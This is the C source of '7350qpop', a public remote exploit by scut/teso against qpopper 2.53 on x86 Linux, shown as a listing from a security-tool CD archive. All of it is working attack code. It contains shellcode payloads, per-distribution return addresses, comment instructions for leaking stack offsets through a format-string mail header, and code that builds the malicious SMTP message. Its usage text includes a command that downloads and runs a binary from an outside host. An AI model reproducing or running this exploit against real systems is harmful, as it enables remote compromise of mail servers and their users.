home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / pop3 / 7350qpop.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  13KB  |  396 lines

  1. /* qpopper 2.53 euidl x86/linux remote exploit
  2.  *
  3.  * public version released 2000/07/15
  4.  *
  5.  * 2000/05/30
  6.  * -scut/teso.
  7.  *
  8.  * discovered and first exploited by portal,
  9.  * further information by prizm and csh.
  10.  *
  11.  * greets to team teso, security.is, thc, adm, w00w00, hert
  12.  * special thanks to portal and csh for pointing some things out
  13.  *
  14.  * supply me with offsets (see below)
  15.  */
  16.  
  17. #include <stdio.h>
  18. #include <stdlib.h>
  19. #include <unistd.h>
  20. #include <ctype.h>
  21. #include <string.h>
  22.  
  23. #define SC_LEN          109     /* first shellcode length */
  24. #define D_PAD           1897    /* %-...d padding to expand the buffer */
  25. #define BODY_NOP_COUNT  8000
  26. #define BODY_LENGTH     8192
  27.  
  28. /* 44 byte "read (3, <behind-me>, 8192)" x86/linux pic shellcode
  29.  * without 0x0a, 0x41-0x5b, 0x80-0x9f -sc.
  30.  * first smack
  31.  *
  32.  * it basically reads 8192 bytes behind itself and then jumps
  33.  * 120 bytes ahead into hopefully nop-space :-)
  34.  */
  35. unsigned char   shellcode[] =
  36.         "\xeb\x22\x5f\x31\xc0\xf9\x11\xc7\xf9\xc0\xd8\x01"
  37.         "\x31\xc9\x01\xf9\xaa\x31\xdb\xb3\x03\x31\xc0\xb0"
  38.         "\x03\x01\xc1\x31\xd2\xf9\x66\xc1\xda\x03\xeb\x05"
  39.         "\xe8\xd9\xff\xff\xff\xcd\x5f\xeb\x78";
  40.  
  41.  
  42. /* 38 byte x86/linux PIC arbitrary execute shellcode - scut / teso
  43.  * second smack, read from message body
  44.  */
  45. unsigned char   ex_shellcode[] =
  46.         "\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07"
  47.         "\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b"
  48.         "\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff"
  49.         "\xff\xff";
  50.  
  51.  
  52. static int      sc_build (unsigned char *target, size_t target_len,
  53.         unsigned char *shellcode, char **argv);
  54.  
  55. void    hexdump (unsigned char *cbegin, unsigned char *cend);
  56. void    sc_verify (unsigned char *sc, size_t length);
  57.  
  58.  
  59. typedef struct {
  60.         char *                  name;
  61.         unsigned long int       ret_addr;
  62.         unsigned long int       pop_pointer;
  63. } target_t;
  64.  
  65.  
  66. /* HOWTO get the offsets
  67.  *
  68.  * to aquire the offsets for an unknown version of QPOP 2.53 you have to have
  69.  * a POP-able account on the target system.
  70.  *
  71.  * do as follows:
  72.  *
  73.  * telnet smtp-server-for-target.target.com 25
  74.  *
  75.  * 220 smtp-server-for-target.target.com ready.
  76.  * MAIL FROM: <>
  77.  * 250 <<>> ... Sender Okay
  78.  * RCPT TO: <targetuser@target.com>
  79.  * 250 <targetuser@target.com> ... Recipient Okay
  80.  * DATA
  81.  * 354 Enter mail, end with "." on a line by itself
  82.  * Subject: footest
  83.  * From: %08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
  84.  * .
  85.  * 250 Mail accepted
  86.  * QUIT
  87.  * 221 smtp-server-for-target.target.com closing connection
  88.  *
  89.  * now login via POP3:
  90.  *
  91.  * telnet pop.target.com 110
  92.  *
  93.  * +OK QPOP (version 2.53) at pop.target.com starting.
  94.  * USER targetuser
  95.  * +OK Password required for targetuser.
  96.  * PASS passbla
  97.  * +OK targetuser has 1 messages (1141 octets).
  98.  * EUIDL 1
  99.  * +OK 2 54a955db49a7de403d100a67618fee20 455 bfffd3c0.080505f1.bfffd3c0.000001c7.08052306.bfffdbd8.08054b6c.080518d4.
  100.  *
  101.  *                                                                                         ^^^^^^^^
  102.  * this is the POP pointer.
  103.  * the return address is POP pointer minus 0x08b0
  104.  *
  105.  * pop_pointer = 0xbfffdbd8 - 0x08b0 = 0xbfffd328
  106.  *
  107.  * The pop pointer has to be exact, if it hits one of the forbidden characters
  108.  * (0x0a, 0x41-0x5b, 0x80-0x9f) you're out of luck. The return address can be
  109.  * modified in a window of about 50 bytes, this is enough.
  110.  *
  111.  * please mail the following data to scut@nb.in-berlin.de in case you get
  112.  * it working on some default distribution:
  113.  *
  114.  * - exact distribution version
  115.  * - ls -l /usr/sbin/popper output (or wherever your popper binary lies)
  116.  * - file /usr/sbin/popper output
  117.  * - first seven stack variables (as in output below)
  118.  * - the following output: (echo VERSION;sleep 2)|telnet localhost 113
  119.  *   (in case you have a default identd installed)
  120.  *
  121.  * thank you very much, mail the whole stuff to scut@nb.in-berlin.de, i'll send
  122.  * you a copy with all known offsets back.
  123.  */
  124.  
  125. target_t        targets[] = {
  126.  
  127.         /* -rwxrwxr-x   1 scut     scut        39356 May 30 00:06 /tmp/popper */
  128.         /* 0x08054970.0xbfffdbd8.0x08051a1c.0x080496d0.0x00000005.0xbfffdbd8.0xbfffd7d8 */
  129.         { "Debian 2.1 source compilation",      0xbfffd328,     0xbfffdbd8 },
  130.  
  131.         /* -rwxr-xr-x   1 root     root        38276 Jul 18  1998  /usr/sbin/in.qpopper */
  132.         /* /usr/sbin/in.qpopper: ELF 32-bit LSB executable, Intel 80386, version 1,
  133.          *                       dynamically linked (uses shared libs), stripped */
  134.         /* 0xbfffd410.0x0805042e.0xbfffd410.0x0000020a.0x080521e2.0xbfffdc28.0x080541c8 */
  135.         { "RedHat 6.1 RPM: qpopper-2.53-1-PAM", 0xbfffd378,     0xbfffdc28 },
  136.  
  137.         /* -rwxr-xr-x   1 root     root        37776 Jun     1 13:17 /usr/sbin/popper */
  138.         /* 0xbfffd3b0.0x0804fc91.0xbfffd3b0.0x0000017d.0x08051986.0xbfffdbc8.0x080542c8 */
  139.         { "Slackware 7 default binary",         0xbfffd318,     0xbfffdbc8 },
  140.  
  141.         /* 0xbfffefbc.0x0804f7be.0xbfffefbc.0x000001ca.0xbfffeba2.0xbffff7d4.0x0805245c */
  142.         { "SuSE 5.2 default binary",            0xbfffe2f2,     0xbfffeba2 },
  143.  
  144.         /* -rwxr-xr-x   1 root     root        39700 Dec 11  1998 /usr/sbin/popper */
  145.         /* /usr/sbin/popper: ELF 32-bit LSB executable, Intel 80386, version 1,
  146.          *                   dynamically linked (uses shared libs), stripped */
  147.         /* 0xbfffd3c0.0x080505f1.0xbfffd3c0.0x000001ad.0x08052306.0xbfffdbd8.0x08054b6c */
  148.         { "SuSE 6.0 default binary",            0xbfffd328,     0xbfffdbd8 },
  149.  
  150.         { NULL, 0, 0 },
  151. };
  152.  
  153. static int
  154. sc_build (unsigned char *target, size_t target_len, unsigned char *shellcode,
  155.         char **argv)
  156. {
  157.         int     i;
  158.         size_t  tl_orig = target_len;
  159.  
  160.  
  161.         if (strlen (shellcode) >= (target_len - 1))
  162.                 return (-1);
  163.  
  164.         memcpy (target, shellcode, strlen (shellcode));
  165.         target += strlen (shellcode);
  166.         target_len -= strlen (shellcode);
  167.  
  168.         for (i = 0 ; argv[i] != NULL ; ++i)
  169.                 ;
  170.  
  171.         /* set argument count
  172.    [2000]*/
  173.         target[0] = (unsigned char) i;
  174.         target++;
  175.         target_len--;
  176.  
  177.         for ( ; i > 0 ; ) {
  178.                 i -= 1;
  179.  
  180.                 if (strlen (argv[i]) >= target_len)
  181.                         return (-1);
  182.  
  183.                 printf ("[%3d/%3d] adding (%2d): %s\n",
  184.                         (tl_orig - target_len), tl_orig,
  185.                         strlen (argv[i]), argv[i]);
  186.  
  187.                 memcpy (target, argv[i], strlen (argv[i]));
  188.                 target += strlen (argv[i]);
  189.                 target_len -= strlen (argv[i]);
  190.  
  191.                 target[0] = (unsigned char) (i + 1);
  192.                 target++;
  193.                 target_len -= 1;
  194.         }
  195.  
  196.         return (tl_orig - target_len);
  197. }
  198.  
  199.  
  200. void
  201. hexdump (unsigned char *cbegin, unsigned char *cend)
  202. {
  203.         int             i;
  204.         unsigned char * buf = cbegin;
  205.  
  206.  
  207.         printf ("/* %d byte shellcode */\n", cend - cbegin);
  208.         printf ("\"");
  209.  
  210.         for (i = 0 ; buf < cend; ++buf) {
  211.  
  212.                 printf ("\\x%02x", *buf & 0xff);
  213.  
  214.                 if (++i >= 12) {
  215.                         i = 0;
  216.                         printf ("\"\n\"");
  217.                 }
  218.         }
  219.         printf ("\";\n\n");
  220. }
  221.  
  222.  
  223. void
  224. sc_verify (unsigned char *sc, size_t length)
  225. {
  226.         int     n,
  227.                 bc = 0;
  228.  
  229.         for (n = length - 1 ; n >= 0 ; --n) {
  230.                 if (isupper (sc[n])) {
  231.                         printf ("upper char '%c' (%02x) at sc[%d]\n",
  232.                                 sc[n], sc[n], n);
  233.                         bc += 1;
  234.                 } else if (sc[n] == '\x0a') {
  235.                         printf ("carriage return \\x0a at sc[%d]\n", n);
  236.                         bc += 1;
  237.                 } else if (sc[n] >= (unsigned char) '\x80' && sc[n] <= (unsigned char) '\x9f') {
  238.                         printf ("sendmail filtered character '\\x%02x' at sc[%d], won't survive sendmail\n",
  239.                                 sc[n], n);
  240.                 } else if (n != 0 && n != 2 && sc[n] == '%') {
  241.                         printf ("%% character may cause trouble at sc[%d]\n", n);
  242.                 }
  243.         }
  244.  
  245.         if (bc > 0) {
  246.                 printf ("%d invalid %s, aborting...\n",
  247.                         bc, (bc == 1) ? "character" : "characters");
  248.                 exit (EXIT_FAILURE);
  249.         }
  250. }
  251.  
  252.  
  253. int
  254. main (int argc, char *argv[])
  255. {
  256.         int                     n,
  257.                                 i;
  258.         unsigned int            target_num;
  259.         target_t *              target;
  260.         unsigned char           mbuf[64];
  261.         unsigned char           tbuf[129];
  262.         unsigned char           xpbuf[129];
  263.         unsigned char           body[BODY_LENGTH];
  264.         unsigned char *         xbp = xpbuf;
  265.         unsigned long int       retaddr;
  266.         unsigned long int       poppointer;
  267.  
  268.  
  269.         printf ("7350qpop - qpopper 2.53 x86/linux remote\n");
  270.         printf ("-scut / teso.\n\n");
  271.  
  272.         if (argc < 5) {
  273.                 printf ("usage: %s <target> <source-email> <target-email> commands ...\n\n",
  274.                         argv[0]);
  275.  
  276.                 printf ("target        target system type\n");
  277.                 printf ("source-email  sender email address (has to get accepted)\n");
  278.                 printf ("target-email  email user that will POP-get the email\n");
  279.                 printf ("commands      commands to run on the remote host,\n");
  280.                 printf ("              example: /bin/sh -c \"wget 1.1.1.1/a;chmod +x a;./a\"\n\n");
  281.  
  282.                 printf ("example:\n\n"
  283.                         "%s 1 foo@foobar.com user@example.com \\\n"
  284.                         "      /bin/sh -c \"echo owned>/etc/issue\" 2>&1 >/dev/null | nc example.com 25\n\n",
  285.                         argv[0]);
  286.  
  287.                 printf ("the standard output is for the user, the error output contains the smtp-\n"
  288.                         "output to send to the mail server.\n\n");
  289.  
  290.                 printf ("targets:\n");
  291.                 for (n = 0 ; targets[n].name != NULL ; ++n) {
  292.                         printf ("%8d : %40s : 0x%08x : 0x%08x\n",
  293.                                 n, targets[n].name, (unsigned int) targets[n].ret_addr,
  294.                                 (unsigned int) targets[n].pop_pointer);
  295.                 }
  296.                 printf ("\nsee the source file to see the method to get the offsets.\n\n");
  297.  
  298.                 exit (EXIT_FAILURE);
  299.         }
  300.  
  301.         if (sscanf (argv[1], "%u", &target_num) != 1) {
  302.                 printf ("target specification invalid\n");
  303.                 exit (EXIT_FAILURE);
  304.         }
  305.         for (n = 0 ; targets[n].name != NULL && n < target_num ; ++n)
  306.                 ;
  307.         if (targets[n].name == NULL) {
  308.                 printf ("target number out of range\n");
  309.                 exit (EXIT_FAILURE);
  310.         }
  311.         target = &targets[n];
  312.         retaddr = target->ret_addr;
  313.         poppointer = target->pop_pointer;
  314.  
  315.  
  316.         /* construct first read() shellcode
  317.    [2000]*/
  318.         memset (tbuf, '\x00', sizeof (tbuf));
  319.         printf ("constructing first shellcode...\n\n");
  320.         memcpy (tbuf, shellcode, strlen (shellcode));
  321.         n = strlen (shellcode);
  322.         printf ("shellcode size: %d bytes\n\n", n);
  323.  
  324.         hexdump (tbuf, tbuf + n);
  325.  
  326.         memset (mbuf, '\x00', sizeof (mbuf));
  327.         sprintf (mbuf, "%%-%dd", D_PAD);
  328.         sprintf (xbp, "<>%s", mbuf);
  329.         xbp += strlen (xbp);
  330.  
  331.         for (n = 0 ; n < SC_LEN ; ++n) {
  332.                 xbp[0] = '\x5f';        /* nops0r replac0r (das) */
  333.                 xbp++;
  334.         }
  335.         xbp -= strlen (tbuf);
  336.  
  337.         strcpy (xbp, tbuf);
  338.         xbp += strlen (xbp);
  339.  
  340.         printf ("using\n");
  341.         printf ("   retaddr   : 0x%08x\n", (unsigned int) retaddr);
  342.         printf ("   (POP *) p : 0x%08x\n\n", (unsigned int) poppointer);
  343.  
  344.         /* _[ra]_[p]
  345.    [2000]*/
  346.         xbp[0] = (retaddr      ) & 0xff;
  347.         xbp[1] = (retaddr >>  8) & 0xff;
  348.         xbp[2] = (retaddr >> 16) & 0xff;
  349.         xbp[3] = (retaddr >> 24) & 0xff;
  350.         xbp += 4;
  351.  
  352.         /* [ra]_[p]_
  353.    [2000]*/
  354.         xbp[0] = (poppointer      ) & 0xff;
  355.         xbp[1] = (poppointer >>  8) & 0xff;
  356.         xbp[2] = (poppointer >> 16) & 0xff;
  357.         xbp[3] = (poppointer >> 24) & 0xff;
  358.         xbp += 4;
  359.  
  360.         xbp[0] = '\x00';
  361.  
  362.         printf ("strlen (xpbuf) = %d\n", strlen (xpbuf));
  363.         hexdump (xpbuf, xpbuf + strlen (xpbuf));
  364.  
  365.         sc_verify (xpbuf, strlen (xpbuf));
  366.         printf ("shellcode passed verification, ready for delivery.\n");
  367.  
  368.         fprintf (stderr, "EHLO foobar.com\n");
  369.         fprintf (stderr, "MAIL FROM: <%s>\n", argv[2]);
  370.         fprintf (stderr, "RCPT TO: <%s>\n", argv[3]);
  371.         fprintf (stderr, "DATA\n");
  372.         fprintf (stderr, "Subject: Hello\n");
  373.         fprintf (stderr, "From: %s\n\n", xpbuf);
  374.  
  375.         /* insert real shellcode
  376.    [2000]*/
  377.         for (n = 0 ; n < BODY_NOP_COUNT ; ++n)
  378.                 body[n] = '\x90';
  379.  
  380.         /* extra reliability armor (tm) to avoid line breakage
  381.    [2000]*/
  382.         for (i = 0 ; i < (n - 132) ; i += 128) {
  383.                 body[i] = '\xeb';
  384.                 body[i+1] = '\x08';
  385.                 body[i+2] = '\x0a';
  386.         }
  387.  
  388.         sc_build (&body[n], BODY_LENGTH - BODY_NOP_COUNT - 1, ex_shellcode,
  389.                 &argv[4]);
  390.         body[BODY_LENGTH - 1] = '\x00';
  391.         fprintf (stderr, "%s\n", body);
  392.         fprintf (stderr, "\n.\nQUIT\n");
  393.  
  394.         exit (EXIT_SUCCESS);
  395. }
  396. /*                    www.hack.co.za           [18 July 2000]*/